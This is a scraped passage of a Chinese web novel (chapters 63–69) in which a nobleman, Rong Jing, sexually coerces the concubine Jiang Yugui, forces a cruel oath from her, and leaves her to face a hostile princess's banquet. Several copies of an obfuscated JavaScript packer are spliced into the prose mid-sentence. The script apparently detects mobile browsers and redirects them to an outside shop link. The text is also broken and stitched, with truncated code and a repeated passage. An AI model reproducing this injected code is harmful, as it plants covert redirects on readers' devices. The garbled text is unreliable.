他笑着问道,指尖在她腰间微微用力:“看来姨祖母与于归相谈甚欢?” 姜于归强忍着不适,低声道:“老夫人精通音律,于归受益匪浅。” 安国老夫人将两人的互动看在眼里,笑了笑,对容璟道:“你这孩子,眼光不错,姜姑娘于音律一道颇有灵性,不似寻常闺秀只知皮毛。” 容璟微微一笑,目光落在姜于归身上,带着几分宠溺:“她确实......总是能给我惊喜。” 这话听在姜于归耳中,却带着说不出的讽刺。 接下来的宴会,姜于归如坐针毡,容璟的存在感太强,他的每一次触碰,每一个眼神,都让她无法放松,她只能强颜欢笑,配合着容璟,扮演着备受宠爱的侍妾角色,只盼着宴会早些结束。 回府的马车上,气氛压抑得让人喘不过气,容璟闭目养神,姜于归则紧紧靠着车窗,尽可能离他远一些。 容璟忽然开口,声音在狭小的空间里显得格外清晰:“今日玩得可还开心?” 姜于归怔了一下,低声道:“还好。” 容璟睁开眼,深邃的眸子在昏暗的光线下盯着她:“我看你与姨祖母谈笑时,倒是很开心。” 姜于归心中一紧,不知他这话是何意,只能含糊道:“老夫人平易近人。” 容璟不再说话,只是静静的看着她,然后突然道了句:“我也很开心!” 64. 第 64 章 正月里的日子,仿佛被冻结的冰河,表面平静无波,底下却暗流汹涌,寒意刺骨。 姜于归被困在汀兰水榭这座华美的牢笼里,每一天都像是在刀尖上行走。 容璟待她极尽宠爱,吃穿用度无一不精,甚至远超一个侍妾应有的份例。 绫罗绸缎,珠宝首饰,古玩珍奇,如同流水般送入汀兰水榭,仿佛要用这些冰冷的东西,填满她身边的每一寸空间,也向府内府外宣告着他的占有。 他几乎夜夜留宿,用他的方式宣示着主权,也消耗着她的精力与意志,有时是带着不容抗拒的强势,有时却又极尽耐心的撩拨,直到她溃不成军。 姜于归顺从的承受着,像一具被抽走了灵魂的精致人偶,只有在无人看见的角落,那深藏在眼底的焦虑与恐惧才会悄然浮现。 她的心始终系在那个遥远的,阴暗的刑部大牢,系在那个名为正月十五的死亡期限上。 这个日期像一把悬在她头顶的利剑,随时可能落下。 日子一天天逼近,那种无形的压力几乎让她窒息。 姜于归她会在夜深人静时突然惊醒,冷汗涔涔,仿佛能听到刽子手磨刀的霍霍声,梦见林晏浑身是血的模样。 白天,她强打着精神应对容璟,每一个笑容都僵硬无比,每一次回应都耗费着她巨大的心力。 她不敢问,不敢提,生怕一个不慎,触怒了容璟,那微弱的希望便会彻底破灭,她只能将这份焦灼死死压在心底。 在无数个被恐惧裹挟的瞬间,一个清晰而冰冷的念头在她脑海中反复盘旋,逐渐成型。 如果容璟食言,如果林晏死了...... 她不会殉情,那样太便宜容璟,也太对不起林晏蒙受的冤屈。 殉情是软弱者的逃避,而她,必须活着。 她会不顾一切的离开容璟,哪怕拼个鱼死网破,哪怕前路是万丈深渊,她也一定要挣脱这个金丝雀笼。 然后她会用自己的方式,去追查林晏的案子,哪怕力量微薄,哪怕希望渺茫,她也要为林晏讨一个公道,让真相大白于天下。 这成了支撑她在绝望中不至于彻底崩溃的唯一信念。 那么,如果林晏活着呢? 这个念头带来的并非纯粹的喜悦,而是更复杂的挣扎。 姜于归心里依旧想着离开,这国公府,这容璟,带给她的只有屈辱,恐惧和身不由己,她渴望自由,渴望回到那种虽然清贫但内心安宁的日子。 可是......她能走吗? 一个更深的恐惧裹挟了她。 容璟是如此强势而莫测,他今日能救林晏,明日难道就不能再将他推入深渊? 她若离开,岂不是给了容璟迁怒林晏的理由? 到那时,林晏刚出虎口,又要因她而陷入更危险的境地? 姜于归仿佛被一条无形的锁链捆绑着,一端是渴望的自由,另一端是林晏的安危。 她不敢赌,也赌不起。 这种进退维谷的困境,让她在容璟面前显得更加脆弱和......顺从。而这,恰恰是容璟乐于见到的。 容璟似乎完全洞悉了姜于归内心的焦灼与恐惧,却绝口不提林晏之事,反而像是找到了更好的乐趣,越发频繁的占有她,想要通过这种极致的亲密,确认她的归属,也仿佛是在享受着她因这份不安,而不得不更加依赖于他的姿态。 容璟的每一次触碰,都像是在提醒姜于归,她的身体,她的喜怒,乃至她关心之人的生死,都牢牢掌控在他的手中。 有时,他会在她意乱情迷之时,故意在她耳边低语:“说,你是谁的人?”逼着姜于归给出那个让她屈辱的答案。 有时,他会在清晨醒来时,细细描摹她的眉眼,眼神专注得令人害怕,仿佛在欣赏一件独一无二的艺术品。 这种无声的折磨,比任何严刑拷打都更摧残人的意志。 姜于归觉得自己就像一根被拉到极致的弦,随时都可能断裂。 终于,在正月十五过去了好几天,容璟依旧没有丝毫提及,而姜于归内心的恐慌已经积累到顶点,几乎要将她逼疯之后,在一个缠绵方歇,气息未定的夜晚,她再也忍不住了。 寝殿内烛火昏黄,空气中还弥漫着情欲的气息。 姜于归蜷缩在锦被中,身体残留着疲惫与不适,心脏却因为即将出口的话而疯狂跳动。 她能感觉到容璟的手臂还横在她的腰间,温热却沉重,如同枷锁。 她深吸一口气,用尽全身残存的力气,声音带着一种破釜沉舟的决绝,打破了沉默:“你答应过我,会救林晏。正月十五已过,他......现在如何?” 话音落下,寝殿内一片死寂,她能清晰的听到自己如擂鼓般的心跳声。 容璟侧躺着,一只手原本漫不经心的缠绕把玩着她一缕汗湿的青丝,闻言,他缠绕发丝的动作微微一顿,随即,脸上露出一副果然如此的了然神情,甚至还带着一丝被打扰的不悦。 他抬眸看她,语气慵懒却带着无形的压力:“你说过,以后心里眼里只我一人,不再提他。这便......食言了?” 容璟的反问像一根针,精准的刺中了姜于归的愧疚与不安,但她没有退缩。 姜于归紧紧咬住下唇,直到口中尝到一丝腥甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985543|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才艰难的开口,声音带着无法抑制的颤抖。 “最后一次......我只要知道,他是否还健全平安的活着。” 姜于归还特意强调了健全平安活着几个字,这是她最后的底线。 容璟看着姜于归苍白的小脸上那倔强又脆弱的神情,看着她因紧张而微微颤抖的睫毛,心底那股因她提及林晏而升起的怒气,奇异的被另一种情绪取代。 一种看着她在他掌中挣扎,最终仍要求助于他的,扭曲的满足感。 看着此刻就躺在他的身边的姜于归,这副身心都已被他彻底占据的模样,那点不快便烟消云散了。 容璟俯身靠近她,气息灼热的拂过她的耳廓,声音低沉而肯定,带着一种不容置疑的力量:“我既答应了你,会让林晏活着,那么他就绝对可以安然无恙的走出大牢。” 这句话如同天籁,又如同幻听,姜于归悬在深渊边缘的心,猛的被拉回了一些。 她几乎是贪婪的捕捉着他话语里的每一个字,试图分辨其中是否有丝毫的犹豫或虚假。 容璟的承诺太过轻易,太过完美,反而让姜于归心生不安。 她抬起眼,望进他深邃难测的眼眸,鼓起最后的勇气,带着一丝孤注一掷的求证:“你......你不会是在骗我吧?” 容璟看着她眼中的怀疑,神色骤然一正。 他松开把玩她头发的手,竟缓缓坐起身,在昏黄的烛光下,举起了右手,面容是前所未有的严肃与郑重。 他的声音清晰而有力,在寂静的寝殿内回荡。 “皇天在上,后土在下,我容璟在此立誓,若林晏未能平安健全的活着走出大牢,叫我荣国公府百年基业尽毁,门庭衰落,子孙后代皆颠沛流离,永世不得翻身!” 如此沉重,恶毒的誓言,如同惊雷炸响在姜于归耳边。 她浑身剧烈一颤,难以置信的看着容璟。 她来自现代,本不信这些鬼神诅咒,但她自身的穿越经历,让她对冥冥之中的天道轮回存有一份敬畏。 见容璟竟以整个家族的血脉和前程起誓,言辞凿凿,神色肃穆,她心中的疑虑瞬间被动摇了,消散了大半。 除了相信,她似乎别无选择。 姜于归苍白的脸上终于恢复了一丝血色,轻轻点了点头,声音微不可闻:“我......信你。” 然而,容璟却并未就此罢休,他想要的,远不止她暂时的相信。 他重新俯下身,修长的手指捏住她的下巴,力道不重,却带着不容挣脱的强势,逼视着她的眼睛,那目光幽暗如同深不见底的寒潭。 “那么,你呢?” 65. [锁] [此章节已锁] 她几乎是贪婪的捕捉着他话语里的每一个字,试图分辨其中是否有丝毫的犹豫或虚假。 容璟的承诺太过轻易,太过完美,反而让姜于归心生不安。 她抬起眼,望进他深邃难测的眼眸,鼓起最后的勇气,带着一丝孤注一掷的求证:“你......你不会是在骗我吧?” 容璟看着她眼中的怀疑,神色骤然一正。 他松开把玩她头发的手,竟缓缓坐起身,在昏黄的烛光下,举起了右手,面容是前所未有的严肃与郑重。 他的声音清晰而有力,在寂静的寝殿内回荡。 “皇天在上,后土在下,我容璟在此立誓,若林晏未能平安健全的活着走出大牢,叫我荣国公府百年基业尽毁,门庭衰落,子孙后代皆颠沛流离,永世不得翻身!” 如此沉重,恶毒的誓言,如同惊雷炸响在姜于归耳边。 她浑身剧烈一颤,难以置信的看着容璟。 她来自现代,本不信这些鬼神诅咒,但她自身的穿越经历,让她对冥冥之中的天道轮回存有一份敬畏。 见容璟竟以整个家族的血脉和前程起誓,言辞凿凿,神色肃穆,她心中的疑虑瞬间被动摇了,消散了大半。 除了相信,她似乎别无选择。 姜于归苍白的脸上终于恢复了一丝血色,轻轻点了点头,声音微不可闻:“我......信你。” 然而,容璟却并未就此罢休,他想要的,远不止她暂时的相信。 他重新俯下身,修长的手指捏住她的下巴,力道不重,却带着不容挣脱的强势,逼视着她的眼睛,那目光幽暗如同深不见底的寒潭。 “那么,你呢?” 容璟缓缓开口,每个字都像淬了冰:“林晏自由了,若将来你食言,要离开我,奔向你的旧爱呢?我要你......也给我一个保证。” 姜于归的心猛的一沉,她闭了闭眼,压下喉间的哽咽,艰难道:“我若食言,背弃于你,便叫我天打雷劈,不得好死。” “不够。”容璟毫不犹豫的否定。 他的眼神锐利如刀,精准的找到了她最脆弱,最在意的地方:“我要你......以林晏的名义起誓。你若食言,弃我而去,转而投入林晏怀抱,那么,林晏便将受尽世间万千苦楚,功败垂成,身首异处,死无全尸,永世不得超生!” 恶毒的诅咒如同最冰冷的毒液,瞬间贯穿了姜于归的四肢百骸。 她猛的睁大眼睛,瞳孔骤缩,浑身冰冷彻骨。 用她自己的性命发誓,她尚可承受,可要用林晏的性命......用如此惨烈的方式......这比直接杀了她还要让她痛苦。 容璟太懂得如何拿捏姜于归了,他精准的抓住了她的软肋,将她逼到了绝境。 看着姜于归瞬间惨白的脸色和眼中巨大的惊痛与挣扎,容璟知道,他赢了。 她越是在意,这个誓言就越能成为束缚她最坚固的枷锁,他甚至好整以暇的欣赏着她痛苦的模样,仿佛在欣赏一幅绝美的画卷。 时间在令人窒息的沉默中流逝,烛火噼啪作响,映照着两人对视的身影。 姜于归的指甲深深掐入掌心,剧烈的心理斗争几乎要将她撕裂。 最终,对林晏安危的担忧压倒了一切,她相信了容璟的毒誓,为了换取林晏的生,她不得不献上这最沉重的承诺。 姜于归颤抖着,如同秋风中的落叶,用尽最后一丝力气,声音破碎不堪,却清晰的重复了那个让她心如刀绞的誓言:“皇天后土在上,我姜于归在此立誓......若若食言,背弃世子,转而......转而寻找慕容林晏......便叫慕容林晏......受尽世间极刑,功败垂成......身首异处,死无......死无全尸,永世......不得超生......” 最后一个字落下,她仿佛被抽空了所有力气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989711|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瘫软在锦被之中,眼泪终于不受控制的滑落眼角,迅速洇入枕畔。 那泪水冰凉,带着绝望和一种深入骨髓的无力感。 容璟终于满意了。 他脸上露出了一个畅快而愉悦的笑容,那笑容驱散了他眼底所有的阴霾,带着一种大获全胜的满足感。 他俯身,温柔的吻去她眼角的泪水,动作轻柔,仿佛对待一件稀世珍宝。 容璟在姜于归耳边低语,气息灼热,带着不容置疑的占有:“很好,记住你的誓言,于归,从今往后,你只是我的于归。” 接着,容璟再次将她拥入怀中,动作带着不容拒绝的强势。 又是一夜看似温存,实则充满了掌控与掠夺的纠缠,姜于归在身心极度的疲惫与麻木中昏沉睡去,她想,即便痛苦,但至少终于换得了林晏的一线生机。 —————— 年节过去,陛下开印上朝,象征着一切秩序回归正轨。 这一夜,容璟似乎比以往任何时候都更需索无度。 他不像是在温存,更像是一场无声的宣告与烙印。 他的吻细密而绵长,从眉心到唇瓣,再到颈侧锁骨,带着灼人的温度,却又在深处透出一丝令人心悸的冷。 姜于归始终闭着眼,她像一尊失了魂的玉雕。 只有一片死寂般的承受。 这无声的抵抗,似乎更激起了容璟骨子里的偏执。 他将她紧紧禁锢在方寸之间,不容她有半分逃离。 在那极致颠簸的瞬间,他埋首在她颈窝,低沉喑哑的嗓音带着滚烫的呼吸,砸进她耳膜深处: “看着我,于归。” 那声音里带着不容置疑的命令,和一丝几不可查的......渴求。 姜于归缓缓睁开眼,眸子里水光潋滟,却空洞得映不出他的影子,她望着帐顶繁复的缠枝莲纹样,目光没有焦点。 风暴终于平息。 66. 第 66 章 容璟侧卧着,一手撑着头,另一只手则慢条斯理的把玩着姜于归散落在枕头上的一缕青丝,墨色的发丝在他白皙的指尖缠绕,带着事后的慵懒,却也像无声的束缚。 容璟开口,声音恢复了平日的清润,但比往常多了一丝不易察觉的沙哑:“明日,我要出京办趟差事。” 姜于归身体几不可查的僵了一下,没有回应。 容璟的目光落在她没什么血色的侧脸上,指尖缠绕发丝的力道微微收紧,带来一丝轻微的牵扯感。 他继续说着,语气平淡得像是在交代一件寻常公务,可接下来的话,却让空气骤然凝滞。 容璟指尖的动作停下,微微倾身,靠近她,温热的呼吸拂过她的耳廓,声音压得极低,带着一种温柔到令人毛骨悚然的意味, “需得几日方能回来,你在府中......要乖乖的。” 那乖乖的三个字,被他含在唇齿间,细细研磨,裹着蜜糖,内里却是淬了冰的针。 姜于归的心猛的一缩,仿佛被一只无形的手狠狠攥住。 她终于转动眼珠,看向近在咫尺的这张脸。俊美无双,温润如玉,可那双深邃的眸子里,翻涌着她熟悉的,也是最为恐惧的偏执与掌控欲。 他在警告她。 趁他不在,安分守己,不要有任何不该有的念头,不要做任何不该做的事。 否则—— 后面的话,他没有说。 但那未尽的威胁,比任何直白的恐吓都更具分量,沉甸甸的压在她的心头,几乎让她喘不过气。 姜于归仿佛能预见到,若她触犯了他的禁忌,归来之日,便会发生让姜于归痛苦不堪的事。 姜于归只是愣愣的看着容璟,那双曾经清亮灵动的眼眸,此刻盛满了复杂的情绪,有恐惧,有茫然,有隐忍,但最终都化为一片深不见底的疲惫与空洞。 姜于归唇瓣微微颤抖,却一个字也说不出来。 容璟凝视着她这副模样,看着她眼中自己的倒影,和她眼底那片挥之不去的抗拒与哀凉。他眼底深处掠过一丝极淡的,连自己都未曾察觉的烦躁。 他想要的,不是这具顺从却冰冷的躯壳。 可他更无法容忍,她的目光与心思,有一刻游离于他掌控之外。 半晌,他忽然极轻的笑了一下,那笑声很低,带着一点莫名的自嘲,又像是某种尘埃落定的凉薄。 松开了把玩姜于归青丝的手,转而伸出双臂,以一种不容挣脱的,近乎掠夺的姿态,将浑身冰凉僵硬的姜于归紧紧的拥入怀中。 他的拥抱用力得几乎要将她揉碎,骨骼都发出细微的声响。下颌抵在她柔软的发顶,轻轻摩挲。 “睡吧。” 容璟闭上眼,遮住了眸中所有翻腾的情绪,只余下表面的一片平静,仿佛刚才那暗流汹涌的警告从未发生。 姜于归的脸被迫贴在他温热坚实的胸膛上,能清晰的听到他沉稳有力的心跳声,一声声,敲打在她的耳膜上,也敲打在她紧绷的神经上。 这拥抱,没有半分温情,更像是猛兽在圈禁属于自己的猎物,打上最后的烙印。 他就要走了。 可这座名为容璟的华丽牢笼,从未有一刻,真正离开过。 次日容璟离府,偌大的国公府似乎瞬间空荡了许多,连带着那无处不在的压抑感都似乎淡去了几分。 京外官驿,夜凉如水。 容璟处理完公务,屏退左右,独自站在窗前。 窗外是陌生的庭院,月光清冷,与汀兰水榭的精致截然不同。 他眼前不自觉浮现出离府前夜,姜于归在他身下紧闭双眼,唇瓣咬得发白的模样。 即便身体已然屈服,灵魂却仿佛始终悬浮于他无法触及的远方。 一股莫名的烦躁猝然涌上心头,让容璟下意识的捻紧了指节。 他赠她华服珠玉,予她庇护,甚至为她插手那棘手的慕容林晏之事,她为何还是这般不识好歹? 这烦躁来得汹涌,与他素日里掌控一切的冷静格格不入。 他试图将这情绪归因于所有物不驯的恼怒,但心底深处,却有一丝连他自己都未曾察觉的困惑。 若只是想要一具顺从的躯壳,府中自有千百人可选, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995600|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为何偏偏是她? 为何她一个眼神,一丝隐忍的颤抖,就能轻易搅动他的情绪? 容璟眸色转冷,将这不合时宜的思绪强行压下。 不过是个女子,既然已经成了他的人,便休想再逃。 时间而已,他有的是耐心,慢慢磨掉她所有不该有的棱角。 容璟走的第二日,老夫人因慈恩寺一月一度的祈福法会,也离府前往寺庙小住三日。 一时间府里两位主人都走了,姜于归不仅不觉得不适,反而觉得少有的轻松。 她和府里其他的小姐公子不熟,也不想和容璟的亲人有过多来往,所以姜于归更愿意自己待着,或是出去走走,当然,不得不带上容璟安排的随从。 姜于归以为时间就会如此平淡,却不想这日,永福公主的请帖突然送到她的手上。 烫金的帖子由一位面容严肃,眼神锐利的嬷嬷亲自送来,那嬷嬷目光如实质般在姜于归身上扫过,语气平板无波:“公主殿下后日在永嘉公主府设赏梅宴,特命奴婢送来请帖,邀姜娘子前往一聚。” 姜于归指尖微凉,心沉沉坠下。 永福公主做东,地点却设在永嘉公主府,这绝非普通的赏玩之邀,其间的恶意与针对,不言自明。 姜于归脑中瞬间闪过年节前长街之上,永嘉公主那淬毒般的眼神,以及那句在容璟面前也毫不掩饰占有欲的“我的人”。 一个念头电光石火般窜入脑海。 想来容璟真的履行了承诺,去救林晏了?所以彻底惹怒了永嘉,而永嘉动不了容璟,但是对付一个小小的侍妾,那是轻而易举的事情。 这念头只存在了一瞬,却像黑暗中划过的一丝微弱星火。 若真如此......那容璟此举,虽是出于他的算计,但客观上,他确实......做了她最期盼他做的事。 一种极其复杂,近乎荒谬的情绪涌上心头那是,对一个施害者竟偶然,间接的满足了她最深切愿望而产生的,一丝连她自己都感到齿冷的......感激。 这感激如此微弱,转瞬便被更大的危机感吞没。 67. 第 67 章 姜于归正欲凝神,寻一个稳妥又不失恭敬的借口推拒,那嬷嬷却仿佛看穿她的心思,抢先一步,语气带着宫中积威浸淫出的不容置疑:“殿下考虑到冬日天寒,担心娘子身体抱恙不能准时参加,特命奴婢先行过来,为娘子请脉诊治一番,确保后日能身体无恙,如期赴宴。” 话音落下,暖阁内静得落针可闻。 姜于归袖中的手微微蜷紧,指甲陷入掌心,带来一丝尖锐的刺痛,让她混乱的思绪骤然清明。 诊治?确保赴宴? 这哪里是关怀,分明是断她后路的阳谋。 若她此刻称病,这嬷嬷一双妙手立刻就能诊断出她身强体健,届时一个装病抗旨的罪名便能扣下来,若她坚持不去,便是公然忤逆公主,永嘉更有理由当场发难。 容璟离京前那声乖乖的犹在耳畔,此刻却像一句遥远的嘲讽。 他不在,老夫人亦不在,这深宅之内,无人能成为她的屏障。 所有的退路都被堵死,前方是明知凶险万分的龙潭虎穴,她却不得不闯。 那丝对容璟微不足道的感激,在此刻现实的压迫下,显得如此苍白可笑,瞬间消散无踪。 她与容璟之间,从来只有强迫,算计与扭曲的共生,何来真正的恩义可言? 姜于归深吸一口气,将那口堵在胸间的惊惧与寒意强行压下,再抬眼时,面上已是一片沉静的顺从。 她微微福身,声音不高不低,清晰的回荡在寂静的暖阁里。 “嬷嬷言重了,殿下厚爱,民女感念于心,身子并无大碍,不敢劳动嬷嬷诊治,后日之约,民女定当准时赴约。” 她选择了最稳妥,也是唯一的路——应下。 不是屈服,而是审时度势后的蛰伏,既然避无可避,那便只能迎头而上。 嬷嬷脸上露出一丝极淡的,近乎满意的神色,像是完成了某种交接与确认。 她不再多言,规矩的行了一礼,便转身退下,身影消失在门廊的阴影里,如同来时一般,带着一股无形的压力。 暖阁内重归寂静,却已与先前不同,空气中仿佛弥漫开一股山雨欲来的腥甜气息。 姜于归独立窗前,望着窗外灰蒙蒙的天空,冬日枯枝在寒风中瑟缩,她挺直的背脊透着一股孤绝的意味。 秋实在一旁,脸上惯常的懵懂褪去几分,眼底藏着不易察觉的忧色。 她轻声开口:“娘子......永嘉公主府只怕宴无好宴,要不要想办法递消息给世子爷?” 姜于归没有回头,始终摇了摇头,目光掠过窗外灰蒙的天空。 她的声音很轻,却带着一种决然:“不必了。这一次,没有容璟,没有林宴,只有我自己。” 她必须独自去闯那龙潭虎穴,用她自己的智慧和勇气,去面对来自公主的恶意,在绝境中寻到的一线生机。 赴宴那日,天色阴沉,朔风凛冽。 马车缓缓前行,在永嘉公主别苑的朱漆大门前停下。 眼下任然时值隆冬,苑墙内探出的几枝红梅开得正艳,幽香浮动,与这府邸的富贵雍容交织在一起,却透着一股无形的压力。 姜于归在秋实的搀扶之下下了车,冬日凛冽的空气吸入肺中,像是一块冰冷的巨石压在心头。 望着那威严的府邸,鎏金的匾额在灰暗天光下反射着冷硬的光泽,姜于归更是觉得心中喘不过气。 还是来了。 永福办宴会,场地却在永嘉公主府。 永嘉,才是这场鸿门宴执刀的人。 “娘子,咱们进去吧?” 秋实在一旁脆生生的说道,脸上带着毫无心机的笑容,仿佛只是来参加一场寻常的赏玩。 她扶着姜于归的手臂稳健有力,掌心那略显粗粝的薄茧,在此刻传递来一丝奇异的稳定感。 姜于归深吸一口气,将那口堵在胸间的浊气强行压下,点了点头。 迈过那高高的门槛,仿佛踏入另一个世界。 外间的车马人声瞬间被隔绝,府内是死一般的寂静,唯有脚下清扫得不见一片落叶的青石板路,蜿蜒着通向深处。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001050|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 引路的嬷嬷面无表情,脚步轻得几乎听不见,像一道无声的影子。 姜于归的背脊不由自主的挺得更直,袖中的指尖微微蜷缩。 她知道,从踏入这道门开始,她的一举一动,一言一行,都将在永嘉的注视之下。 宴会设在暖阁,地龙烧得极旺,与外间的严寒恍若两个世界。 满堂珠翠,京中贵女们三三两两聚在一处,说笑品茗,姜于归的出现,像一颗石子投入平静的湖面,瞬间吸引了所有或明或暗的视线。 那些目光里,有好奇,有审视,更多的是毫不掩饰的轻蔑与等着看好戏的兴味。 她目不斜视,步履平稳的走到暖阁中央,依着规矩,向端坐于主位之上的永嘉公主,深深福下身去。 她的声音不高不低,清晰的回荡在骤然安静下来的暖阁里:“民女姜于归,参见公主殿下。” 行礼之后,主位之上,永嘉公主并未立刻叫起。 永嘉公主今日穿着一身正红色宫装锦袍,领口袖边缀着雪白的狐裘,衬得她容颜娇艳,却也带着一股逼人的凌厉之气。 她并未看姜于归,仿佛脚下匍匐的只是一团无关紧要的空气。 刺客,她正慢条斯理的把玩着自己染着鲜红蔻丹的指甲,那姿态慵懒而傲慢。 时间在寂静中仿佛被拉长,凝固。 姜于归维持着行礼的姿势,脊背挺直。 她能感觉到四面八方投射来的目光,如同细密的针,扎在她的背上。 暖阁里过于旺盛的地龙,让她额角微微沁出薄汗,呼吸也因这持久的静止姿势而略显不畅,但她的脸上没有任何表情,既无惶恐,也无委屈,只有一片沉静的漠然。 永嘉公主不开口,自然也无人说话。 终于,像是欣赏够了自己的指甲,永嘉端起手边一盏热气袅袅的茶,用杯盖轻轻拨弄着浮叶,发出细微清脆的碰撞声。 她这才抬起眼,目光如同羽毛般,轻飘飘的扫过依旧保持着行礼姿态的姜于归,嘴角勾起一抹似笑非笑的弧度。 68. 第 68 章 “今日永福妹妹心情好,难得有雅兴想办个赏梅宴,本宫这做姐姐的,自然要成全。” 她开口,声音带着一种刻意拉长,漫不经心的调子,仿佛只是在闲聊家常:“本宫闲着也是闲着,便让她在公主府举办宴会,让她热闹热闹,倒也添些生气。” 她的话是说给满堂的宾客听的,更是说给姜于归听的意,点明,姜于归今日能站在这里,不过是沾了永福公主的光,而她永嘉,才是此地真正的主人。 座下立刻有善于逢迎的千金笑着接话:“永福殿下为何这般开心?可是得了什么新奇有趣的宝贝?” 永嘉公主闻言,脸上的笑容加深了些,那笑容里带着一种毫不掩饰的看好戏的恶意。 她轻轻放下茶盏,目光终于正式的落在了姜于归身上,如同在打量一件物品。 她又故意拖长了语调,每一个字都像是裹了蜜糖的毒针:“说起来倒也算是一桩喜事,我那永福妹妹啊,是因为听说容世子......终于开窍,懂得收用侍妾了,这才欢喜不已。” “侍妾?” 座中顿时响起一片此起彼伏,故作惊讶的抽气声,几位千金交换着心照不宣的眼神,用手帕掩住嘴角,那帕子后藏着的,是毫不掩饰的讥诮与幸灾乐祸。 永嘉公主很满意自己制造的效果,她轻轻叹了口气,语气里带着一种夸张的感慨:“说起来,本宫起初也以为,依着永福妹妹对容表弟的那份心思,听闻此事,定要哭闹一番的。却不想,她反而高兴得跟什么似的。你们是不知道,永福妹妹之前还私下跟本宫忧心,说他对谁家姑娘都冷冷淡淡的,身边连个通房侍婢都无,她还暗自伤心,担心容表弟是不是有什么......嗯,不便言说的隐疾呢。” 她说着,自己先掩唇轻笑了一声,那笑声清脆,却带着刺骨的寒意:“如今可好,容世子他总算知道女子的好了,身边也有了知冷知热的人,这叫永福妹妹如何能不开心?这岂不是证明,容世子是个正常的男子么?” 永嘉的话语将容璟与姜于归之间那点被强行按上的关系,彻底摊开在光天化日之下,并且用一种极其轻佻且物化的口吻来谈论,仿佛容璟开窍本身,才是值得庆贺的事情,而那个被他开窍的对象,不过是个无关紧要的,用以证明他身体无恙的工具。 此时一位穿着鹅黄色锦缎冬袄的少女再次开口,声音清脆,又带着恰到好处的赞许:“永福公主真实心胸宽广,这般容人的气度,真不愧是金枝玉叶,天家风范。” 这句话像是一个信号,再次引来周围人的符合。 “是呀是呀,寻常女子若是听闻心上人身边有了旁人,只怕早就醋意满天,那里能有永福公主这般深明大义,顾全大局。” “没错,可见永福公主对容世子的情谊,是真正为他着想。” 没个开口的人语气里都充满了感慨和推崇,好似排练好的合唱,奉承着永福公主的贤德,又把姜于归钉在一个玩意儿的位置上。 永嘉公主端坐主位,修长的指甲轻轻拂过衣摆,对这番奉承,她并未多语,却带着几不可查的微微颔首。 而后,永嘉公主的目光再次落到姜于归身上,那眼神如同在看脚边的尘埃,带着一种彻底的,居高临下的漠视。 “侍妾嘛......不过是个玩意儿罢了,能说明什么?永福当然不会放在心上。等日后永福妹妹与容世子成亲,堂堂正正入了国公府做主母,这些个上不得台面的东西,想怎么打发,还不是一句话的事?是发卖了,是送到庄子上,还是赏给下人了,都看主母的心情。现在嘛,就当是给容世子解闷的小猫小狗,留着也无妨。” 这番话,比直接的斥骂更令人心寒。 满堂的目光都聚焦在姜于归身上,那些目光里充满了探究,想从她脸上看到无地自容的羞愤,看到被如此轻贱的悲伤,看到恐惧的泪水,或者至少,看到一丝一毫的狼狈与动摇。 然而,她们失望了。 姜于归依旧维持着行礼的姿势,低垂着头,永嘉那番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然后,她的话锋故意一顿,目光在暖阁内扫视一圈,视线仿佛越过姜于归,在暖阁门口望着,语气带着些许疑惑:“咦?这人都到的差不多了,永福妹妹眼看也要来了,那个侍妾呢?还没到吗?莫非是胆子小,不敢来了?还是觉得本宫这公主府,不配让她踏足?” 永嘉微微侧首,像是在询问身边的宫女,又像是在询问满堂的宾客。 这一问,如同平静的水面再次被投下一颗石子。 69. 第 69 章 所有人的目光再次齐刷刷的聚焦在姜于归的身上,这一次,她们的目光中意味更复杂,有幸灾乐祸,有看好戏的兴奋。 